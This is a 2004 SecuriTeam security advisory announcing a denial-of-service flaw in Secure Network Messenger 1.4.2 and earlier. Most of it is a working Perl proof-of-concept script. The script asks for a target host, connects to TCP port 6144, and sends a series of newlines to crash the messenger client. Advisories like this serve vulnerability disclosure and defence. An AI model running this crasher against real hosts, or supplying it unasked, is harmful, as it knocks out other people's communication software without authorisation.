[EXPL] Secure Network Messenger DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 11/15/04

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Date: 15 Nov 2004 19:52:44 +0200

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      Secure Network Messenger DoS
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.networkmessengers.com/msg/> Secure Network Messenger (SNM) -
    is a real time network communication program to send and receive messages
    from one computer to another without using dedicated servers."
    As reported, Secure Network Messenger can be crashed by sending client
    large amount of carriage returns (\r\n). Presented here is proof of
    concept code to the vulnerability.

    DETAILS

    Vulnerable Systems:
     * Secure Network Messenger Version 1.4.2 and prior.

    Exploit Code:
    #!/usr/bin/perl

    use IO::Socket;
    print ("\nSecure Network Messenger Crasher by ClearScreen\n");
    print ("\nEnter host to crash: ");
    $h = <STDIN>;
    chomp $h;
    $socks = IO::Socket::INET->new(
            Proto => "tcp",
            PeerPort => "6144",
            PeerAddr => "$h"
    ) or die "\nNo response from host.";

    sleep 1;
    print "\nSuccesfully connected to $h!\n";
    for ($count=1; $count<15; $count++)
    {
     print $socks "\n";
     select(undef, undef, undef, 0.1);
    }
    print "\nMessenger crashed.";
    close $socks;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:clearscreen@lycantrope.com>
    r`Futile.

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